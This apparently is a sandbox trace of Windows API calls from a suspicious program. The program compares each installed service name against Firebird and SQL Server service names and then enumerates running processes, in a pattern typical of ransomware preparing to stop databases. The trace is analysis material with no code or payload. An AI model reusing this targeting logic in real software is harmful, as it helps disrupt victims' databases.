	[0037.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0037.636] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0037.636] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0037.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0037.636] lstrlenW (lpString="NcbService") returned 10
	[0037.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0037.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0037.636] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0037.636] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0037.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0037.637] lstrlenW (lpString="netprofm") returned 8
	[0037.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0037.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0037.637] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0037.637] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0037.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0037.637] lstrlenW (lpString="NgcSvc") returned 6
	[0037.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0037.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0037.637] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0037.637] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0037.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0037.637] lstrlenW (lpString="NlaSvc") returned 6
	[0037.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0037.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0037.638] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0037.638] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0037.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0037.638] lstrlenW (lpString="nsi") returned 3
	[0037.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0037.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0037.638] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0037.638] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0037.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0037.638] lstrlenW (lpString="PcaSvc") returned 6
	[0037.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0037.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0037.638] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0037.638] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0037.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0037.638] lstrlenW (lpString="PlugPlay") returned 8
	[0037.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0037.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0037.638] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0037.638] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0037.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0037.638] lstrlenW (lpString="Power") returned 5
	[0037.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0037.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0037.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0037.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0037.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0037.638] lstrlenW (lpString="ProfSvc") returned 7
	[0037.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0037.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0037.638] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0037.638] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0037.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0037.638] lstrlenW (lpString="RpcEptMapper") returned 12
	[0037.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0037.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0037.638] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0037.639] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0037.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0037.639] lstrlenW (lpString="RpcSs") returned 5
	[0037.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0037.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0037.639] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0037.639] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0037.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0037.639] lstrlenW (lpString="SamSs") returned 5
	[0037.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0037.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0037.639] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0037.639] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0037.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0037.639] lstrlenW (lpString="Schedule") returned 8
	[0037.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0037.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0037.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0037.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0037.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0037.639] lstrlenW (lpString="SecurityHealthService") returned 21
	[0037.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0037.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0037.639] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0037.639] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0037.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0037.639] lstrlenW (lpString="SENS") returned 4
	[0037.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0037.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0037.639] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0037.639] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0037.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0037.639] lstrlenW (lpString="ShellHWDetection") returned 16
	[0037.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0037.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0037.639] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0037.639] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0037.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0037.640] lstrlenW (lpString="Spooler") returned 7
	[0037.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0037.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0037.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0037.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0037.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0037.640] lstrlenW (lpString="StateRepository") returned 15
	[0037.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0037.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0037.640] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0037.640] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0037.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0037.640] lstrlenW (lpString="SysMain") returned 7
	[0037.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0037.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0037.640] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0037.640] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0037.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0037.640] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0037.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0037.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0037.640] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0037.640] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0037.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0037.640] lstrlenW (lpString="Themes") returned 6
	[0037.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0037.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0037.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0037.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0037.640] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6acd08 | out: hHeap=0x650000) returned 1
	[0037.640] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2ac
	[0037.652] Process32FirstW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0037.653] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0037.653] lstrlenW (lpString="System") returned 6
	[0037.653] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0037.654] lstrlenW (lpString="smss.exe") returned 8
	[0037.654] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0037.654] lstrlenW (lpString="csrss.exe") returned 9
	[0037.654] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0037.655] lstrlenW (lpString="wininit.exe") returned 11
	[0037.655] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0037.656] lstrlenW (lpString="csrss.exe") returned 9
	[0037.656] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0037.656] lstrlenW (lpString="winlogon.exe") returned 12
	[0037.656] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0037.657] lstrlenW (lpString="services.exe") returned 12
	[0037.657] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0037.658] lstrlenW (lpString="lsass.exe") returned 9
	[0037.658] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.658] lstrlenW (lpString="svchost.exe") returned 11
	[0037.658] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0037.659] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0037.659] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0037.659] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0037.659] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.660] lstrlenW (lpString="svchost.exe") returned 11
	[0037.660] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0037.661] lstrlenW (lpString="dwm.exe") returned 7
	[0037.661] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.662] lstrlenW (lpString="svchost.exe") returned 11
	[0037.662] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.662] lstrlenW (lpString="svchost.exe") returned 11
	[0037.662] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.663] lstrlenW (lpString="svchost.exe") returned 11
	[0037.663] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.663] lstrlenW (lpString="svchost.exe") returned 11
	[0037.663] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.664] lstrlenW (lpString="svchost.exe") returned 11
	[0037.664] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.665] lstrlenW (lpString="svchost.exe") returned 11
	[0037.665] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.665] lstrlenW (lpString="svchost.exe") returned 11
	[0037.665] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.666] lstrlenW (lpString="svchost.exe") returned 11
	[0037.666] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.666] lstrlenW (lpString="svchost.exe") returned 11
	[0037.666] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0037.667] lstrlenW (lpString="spoolsv.exe") returned 11
	[0037.667] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.668] lstrlenW (lpString="svchost.exe") returned 11
	[0037.668] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.668] lstrlenW (lpString="svchost.exe") returned 11
	[0037.668] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0037.669] lstrlenW (lpString="audiodg.exe") returned 11
	[0037.669] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0037.670] lstrlenW (lpString="sihost.exe") returned 10
	[0037.670] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0037.670] lstrlenW (lpString="svchost.exe") returned 11
	[0037.670] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0037.671] lstrlenW (lpString="taskhostw.exe") returned 13
	[0037.671] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0037.671] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0037.671] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0037.672] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0037.672] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0037.673] lstrlenW (lpString="explorer.exe") returned 12
	[0037.673] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0037.673] lstrlenW (lpString="Memory Compression") returned 18
	[0037.673] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0037.674] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0037.674] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0037.674] lstrlenW (lpString="SearchUI.exe") returned 12
	[0037.675] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0037.675] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0037.675] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0037.676] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0037.676] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0037.676] lstrlenW (lpString="taskhostw.exe") returned 13
	[0037.676] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0037.677] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0037.677] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0037.678] lstrlenW (lpString="UsoClient.exe") returned 13
	[0037.678] Process32NextW (in: hSnapshot=0x2ac, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0037.678] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
